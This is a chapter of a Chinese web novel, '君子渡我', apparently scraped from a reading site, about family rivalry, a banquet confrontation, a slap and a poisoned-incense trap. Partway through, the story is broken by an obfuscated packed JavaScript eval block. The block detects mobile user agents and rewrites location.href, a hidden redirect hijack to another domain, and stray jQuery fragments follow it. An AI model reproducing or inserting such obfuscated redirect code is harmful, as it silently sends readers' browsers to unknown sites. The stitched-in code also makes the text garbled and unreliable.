14. 愚爱

作品:《君子渡我

    第14章


    元家老夫人过寿宴,办得风光无限,程洵与元相私下交好,常在朝廷中互相扶持,程家也是该去祝寿的。


    雁宁从程老夫人口中得知,元相是个披肝沥胆,廉洁奉公之臣,尽心尽力辅佐齐王,造福黎民,深受百姓之爱戴。


    她倒真想看看这样的人究竟长什么样子,雁宁没见过世面,暂且还不知晓这个世道是如何的。


    雁宁乖乖地跟在程老夫人身边,然后随程瑛一同入了女眷后宅。


    程老夫人正陪着元老夫人用膳,女郎们独自坐在软蒲团上各自谈话。


    不久,一名女使突然走到雁宁身旁,弯下腰悄声道:“我家娘子有请。”


    雁宁猜得出来,女使口中的娘子是谁,元家只有一位女郎,且看眼前女使的衣着打扮,是元府的没错。


    “我与你家娘子素未谋面,不知找我所为何事?”雁宁轻声问道。


    女使笑了笑说:“也不是什么要紧事,娘子去了便知。”


    雁宁犹豫了一会儿,这才盈盈起身,整理了下裙裾,便跟着眼前的女使走了出去。


    两人来到假山处,满园秋色,风光旖旎,她深知,女使将她带来并不是为了赏景的。


    眨眼间的功夫,引路的女使便消失不见了,雁宁疑惑之际,她忽然听见假山后边有动静。


    雁宁从来都没有偷听的习惯,多一事不如少一事,她正准备离开,不料熟悉的声音很快从假山那传来,她顿时走不动路了。


    “她虽生在高门,但不过只是一个小小的庶女,又如何能助你成就霸业?”


    另一人对此毫不在意,只道:“庶女又如何?我喜欢的是她这个人,而非身份。”


    说话之人见他油盐不进,似乎有些偏激:“可别忘了你的初衷。”


    公孙行忽然松开紧锁的眉头道,他瞳孔微沉,晦涩不明。


    过了片刻,他下颌微微扬起,嗓音冷淡:“区区庶女,我又怎能为了她,而破坏你我多年的辛苦筹谋。”


    雁宁还未回过神,躲在暗处的人便等不住想要出来。


    “都听见了吧?”


    只见元界音折以微步,盈盈走来,她一身华服很是惹眼。


    元界音语气挑衅地继续道:“他在意的,从来就只有权势,不是你。”


    她说话的底气很足。


    雁宁闻言,却忽然笑了,她须得镇定,为的就是不让眼前之人有机会抓住任何把柄。


    须臾,雁宁神态自若地回道:“他爱权,与我有何干系,元娘子想方设法引我来这儿,不会就是为了此事吧?倒真是无趣。”


    此话一出,雁宁本以为她会同一般争风吃醋的女郎一样被激怒,可元界音并没有。


    “他是在意你的,不过比起权势,你便输了。”


    雁宁的语气里听不出任何情感:“我想元娘子误会了,我对公孙少卿一点儿感觉都没有,又何谈输呢?”


    忽然,她词锋一转,语气变得犀利起来:“若他当真在意我,那不过都是一厢情愿罢了,女儿家之间的争风吃醋,我最是不屑。”


    元界音哑口无言,就这么定定地看着她,似乎是在瞧什么有趣的新鲜事物。


    雁宁拢了拢袖,施礼告退。


    “倒是比你家里的那位废物四姐姐好了不止一星半点。”元界音趁她未走远,及时开口。


    雁宁有些意外地停住脚步,不过她没回头,随后便重新迈开了步子大步离开此处。


    彻底离开了后山,她走路的步子竟有些不稳了,或许她心中是有点在意的,不过比起公孙行,雁宁更想对得起自己,她可以离开她任何想离开的人或事,无一例外。


    *


    月夜乘凉,星空灿烂。


    雁宁一只手撑着光洁的额头,另一只手则慢悠悠地翻着医书。


    云湄合上门走进来,悄声道:“娘子吩咐的我都照办了。”


    雁宁始终都没抬头,过了一会儿,她才终于开口:“把香炉搬过来吧。”


    云湄点头:“是。”


    香炉刚放在桌上没多久,门就忽然被人用力推开,程蕊顾不得礼数,直接闯了进来,快步走到她面前。


    “祖母只带你一人去了元家府邸?”程蕊直奔主题。


    雁宁目光沉了沉,仿佛已经把她看透。


    程蕊见她不答,有些不耐烦:“问你话呢。”


    雁宁嘴角含笑,脸上带着绵羊般温顺的表情:“哦,我本是不想去的,奈何祖母……”


    她这人倒是矛盾,还没等雁宁说完,却又出声打断:“你莫要得了便宜还卖乖!”


    话里话外透露着怨恨之意:“都是因为你,我才会被祖母罚跪三日,整整三日!明明是你自己无用,你得不到,又凭什么要责怪到我身上!若将我换做你,我想祖母定不会这样做,是她偏心。”


    雁宁盈盈起身,腰间串饰发出细微而清脆的碰撞之声。


    她懒懒一笑:“莫非四姊是来兴师问罪的吗?”


    她接着道:“若不是你的就永远也不要有非分之想,这句话,难道不是出自于四姊之口吗?”


    程蕊死死地盯着她,眼底浮起一丝难以察觉的凶戾:“还轮不到你来教训我!”


    程蕊的状态明显不对劲,神色有些怪异,甚至连声音都有些飘忽:“你总是摆出一副不甚在意的模样,其实你比任何人都要在意。”


    闻言,雁宁一愣,笑意都收敛起来,或许此时是她最好的时机,不过她还没有十足的把握。


    雁宁看着她的眼睛,有意提高声调地说:“哦?这才过了几日,祖母同四姊说的那些话便都忘干净了?我看是罚轻了。”


    “你少拿祖母压我!”


    程老夫人那时同她说的话,她这辈子都忘不掉。


    雁宁朝她猛地一指,语气犀利:“她们的眼睛可都在盯着你呢!”


    程蕊的脸色忽青忽紫,一时间说不出话来。


    片刻,忽然有一股无法控制的愤恨之情绪在她心里翻腾,程蕊忍不住咒骂道:“贱人,你真以为我不敢动你吗?!”


    雁宁话语中带上了威胁:“你敢吗?你敢在这儿动我一根汗毛吗?”


    程蕊瞧见雁宁的笑容,更觉得刺眼,她气得浑身都在发抖,疾步上前扬手就给了雁宁一巴掌。


    雁宁眼一闭,耳边一阵轰鸣,这样大的力气不得不让她摔倒在地。


    她来不及躲开,结结实实受了这一掌,脸颊上的血道子便显得格外突兀,触目惊心。


    云湄见状,急忙护住雁宁,不再让她受到任何的伤害。


    这一巴掌,大力得让她脸颊疼得几乎麻木,凑近一瞧,竟然还破了相,伤口处缓缓渗出一丝血迹。


    程蕊看着自己有些发红的手心,瞬间吃了惊,有些害怕,脸色顿时变得煞白。


    “娘子,你的脸!”云湄扯着嗓子喊道。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974075|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    雁宁看起来十分镇静,她不解地摸了摸火辣辣疼的巴掌印,又低头看了眼手心,指尖还沾着血。


    她有些无措地蹙眉,嘴唇动了动:“我的脸。”


    刚进门的赵妈妈正好瞧见这一幕,事发突然,她赶紧拔腿就跑,将今夜发生的事都说与了程老夫人听,为雁宁做主。


    “她四娘子撒野都撒到玉清小筑这儿来了。”程老夫人伸手一拍桌案,十分不满道。


    赵妈妈脸色凝重地说:“四娘子下的可是死手啊,毁人容貌的损招她也想得出来,若五娘子的伤好不了,便是毁了她一辈子,往后可叫她如何做人啊?”


    程老夫人被提点,突然才想明白:“这四娘子,才教训了她几句,她便气急败坏地找雁雁出恶气。”


    她垂下眼,沉默片刻又说:“郎中可到府中了?”


    赵妈妈摇摇头:“还未,想必是快到了。”


    此前,赵妈妈刚唤人带走了程蕊。


    雁宁谨慎地目送她们走远,这才唤来云湄:“快把这香撤下去,换新的香上来,不可留丝毫痕迹。”


    云湄很快意识到这香有问题,便急忙撤了下去,走前还特意开了窗通风。


    没过多久,赵妈妈领来了洛阳最好的郎中。


    雁宁被破了相,此刻蒙着面纱端坐在椅子上。


    郎中凝眉,就只是瞧了一眼她的伤口,便看出其中异样。


    “五娘子这是中毒了。”


    此话一出,众人惊呼,雁宁也满脸错愕地抬眸望去,应上赵妈妈的眸子,赵妈妈则是给了她一个放心的眼神。


    程老夫人关切地问:“中的何毒?可还有的治?”


    郎中语气沉重道:“妒夫人。此毒一旦沾染肌肤半分,不出一盏茶的时间,便会使肌肤溃烂。”


    程老夫人愣了一下,眼底满是错愕:“竟会这般严重,可有解药?无论这药材多么贵重,若是有,我总会想尽办法得到的。”


    郎中叹了口气,继续道:“这用毒之人当真是阴险,解药并不在洛阳,而是远在千里的汝南。”


    程老夫人不解。


    郎中及时给出答案:“汝南魏家有一人精通药理,若想要根治,怕是只有赴往此处。”


    程老夫人顿时豁然,她一时着急,竟还忘了那人。


    事情都已尘埃落定,程老夫人送走了郎中,一并罚了不知悔改的程蕊。


    “娘子,您是不是瞒了我什么事?”云湄有些不确定地开口问道。


    雁宁动作很轻地替自己敷上膏药,不忘说道:“我本就没打算要害她,是她主动来的,你可都瞧见了。”


    云湄点点头:“我都瞧见了。”


    她终是忍不住问道:“娘子让我撤下去的香有问题?”


    雁宁闻言,笑了笑:“你还不算太傻,不仅香有问题,四姊的指甲也有问题。”


    说到这里,云湄即刻知晓了其中缘由,定是只有程蕊身边的人才有机会动手脚。


    “是她自找的,若她当初老老实实地待在小云居,便也没之后的事儿了。”雁宁语气寡淡,声音冷冽的不带一丝感情。


    云湄此刻已经在心里狠狠地佩服了雁宁一遍。


    她还有一事要确认,便询问道:“不过,娘子又如何能有把握让四娘子在老夫人那倒台?”


    “女子最怕的便是有肌肤之损,”雁宁斟酌了下字句,轻声继续道:“而这正是祖母最为在意的。”